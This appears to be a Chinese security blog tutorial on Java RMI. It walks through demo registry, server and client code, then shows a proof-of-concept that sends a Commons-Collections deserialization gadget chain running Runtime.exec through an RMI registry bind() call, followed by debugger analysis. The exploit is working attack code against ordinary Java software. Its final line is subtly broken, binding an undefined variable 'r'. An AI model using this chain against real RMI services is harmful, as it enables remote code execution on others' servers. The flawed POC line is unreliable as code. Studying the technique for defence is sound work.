前言
这里利用RMI通信结合了上一次的Commons-Collections利用过程
Java RMI
Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。
客户端的代理对象为存根,存根位于客户端机器上,它知道如何通过网络与服务器联系。存根会将远程方法所需的参数打包成一组字节。对参数编码的过程被称为参数编组,参数编组的目的是将参数转换成适合在虚拟机之间进行传递的形式。在RMI协议中,对象时使用序列化机制进行编码的,也就说RMI100%基于反序列化和序列化,大致流程如下
主要涉及的部分:
- RMI Registry:提供Remote Object注册,Name->Remote Object的绑定和查询,属于特殊的Remote Object
- RMI Server:创建Remote Object,并且将其注册到RMI 注册表中
- RMI Client:通过Name向Registry获取stub,然后调用其方法
通常Server和Registry运行在同一主机的不同端口
- Registry默认监听1099端口
- RMI URL:
rmi://host:port/remoteObjectName
Demo
定义一个Remote Object接口和类
1 2 3 4 5 6
| import java.rmi.Remote; import java.rmi.RemoteException;
public interface Hello extends Remote { String sayHello() throws RemoteException; }
|
需要实现Remote接口并抛出RemoteException异常
Server端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.UnicastRemoteObject; public class Server implements Hello { public String sayHello() { return "Hello Word!"; } public static void main(String args[]) { try { Server obj = new Server(); LocateRegistry.createRegistry(1099); Hello stub = (Hello) UnicastRemoteObject.exportObject(obj, 6600); Registry registry = LocateRegistry.getRegistry(); registry.bind("Hello", stub); System.out.println("Server Start"); } catch (Exception e) { e.printStackTrace(); } } }
|
这里为了节省空间Server实现了Hello接口,并且在main函数中创建了这个Remote Object。然后创建并启动了一个Registry,设定的端口为1099。接着又创建并启动了Server端,端口为6600,最后将代理对象注册到Registry并与Hello
绑定了,等待Client请求
Client端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class Client { private Client(){} public static void main(String[] args) { try { Registry registry = LocateRegistry.getRegistry("localhost",1099); Hello stub = (Hello) registry.lookup("Hello"); String response = stub.sayHello(); System.out.println(response); }catch (Exception e){ e.printStackTrace(); } } }
|
Client这里先是获取了Registry,然后调用了lookup传入name的值获取stub,最后调用sayHello的方法,这里具体情况是这样的:
- Client端通过stub中包含的host、port信息,与Remote Object所在的Server端建立连接,然后序列化调用数据
- Server端接收调用请求,将调用转发给Remote Object,然后反序列化请求执行方法,返回序列化的结果给Client
- Client端接收并反序列化结果
通信过程
与Register通信
最后的时候(ReturnData包),Register给Client返回了Server的host和port
与Server通信
在远程方法调用的过程中,所有的参数都要先进行序列化,从Client发送到Server,然后再Server端进行反序列化,这里假如Server端用了存在漏洞的第三方组件–Commons-Collenctions,就可能存在反序列化漏洞
反序列化 Based RMI
必要条件
- 能够进行RMI通信
- 目标服务器引用了第三方存在反序列化漏洞的jar包
POC
这里我们依旧使用JDK7 + Commons Collections进行分析
【注】:JDK8 121开始加入了白名单限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.HashMap; import java.util.Map;
public class POC {
public static void main(String[] args) throws Exception { String ip = "127.0.0.1"; int port = 1099; final Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value","value"); Map outmap = TransformedMap.decorate(innerMap,null,transformerChain); Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cls.getDeclaredConstructor(new Class[] { Class.class, Map.class }); ctor.setAccessible(true); Object instance = ctor.newInstance(java.lang.annotation.Retention.class, outmap );
InvocationHandler hl = (InvocationHandler) instance; Object proxy = Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class[]{Remote.class},hl); Remote remote = Remote.class.cast(proxy); Registry registry = LocateRegistry.getRegistry(ip, port); registry.bind("poc", r); } }
|
断点分析
前面的一段还比较好说,因为就是之前分析的那条chains直接拿来用了,但是后面有两处疑问
InvocationHandler是个什么?
在JAVA的动态代理中,有两个重要的类和接口,一个是 InvocationHandler(Interface)
、另一个则是 Proxy(Class)
,这一个类和接口是实现我们动态代理所必须用到的
public interface InvocationHandler()
InvocationHandler是由代理实例的调用处理程序实现的接口 。
每个代理实例都有一个关联的调用处理程序。 当在代理实例上调用方法时,方法调用将被编码并分派到其调用处理程序的invoke方法。
也就是说,每一个动态代理类都得实现这个接口,并且每个代理类的实例都关联到了一个handler,当我们通过代理对象去调用一个方法时,这个方法的调用就会转发为由InvocationHandler这个接口的invoke方法来进行调用
来看类sun.reflect.annotation.AnnotationInvocationHandler
的声明
可以发现这个类实现了InvocationHandler接口,于是POC中能够强制转换成handler对象。执行bind操作需要对象类型为Remote,创建了一个代理类并且绑定handler对象,然后转成Remote类型对象,再进行bind操作
由于反序列化是反向递归的,RMI Server收到数据后进行反序列化的时候也会去调AnnotationInvocationHandler.readObject()方法,继而setValue()触发Chains弹出计算器
为啥RMI Client也能进行bind操作?
bind()处断点,Debug一下,跟进来可以看到Client处的bind操作
可以看出来,Client端getRegistry得到的是一个RegistryImpl_Stub
对象
var3返回的是一个RemoteCall类型的对象,getOutputStream之后返回ObjectOutput类型对象,然后进行序列化操作,最后得到一个ConnectionOutputStream进行远程通信
Reference
https://xz.aliyun.com/t/2223
https://wooyun.js.org/drops/java%20RMI%E7%9B%B8%E5%85%B3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E6%95%B4%E5%90%88%E5%88%86%E6%9E%90.html
https://www.k0rz3n.com/2019/04/20/JAVA%20%E6%B3%9B%E5%9E%8B%E3%80%81%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E6%8A%80%E6%9C%AF%E8%A6%81%E7%82%B9%E6%A2%B3%E7%90%86/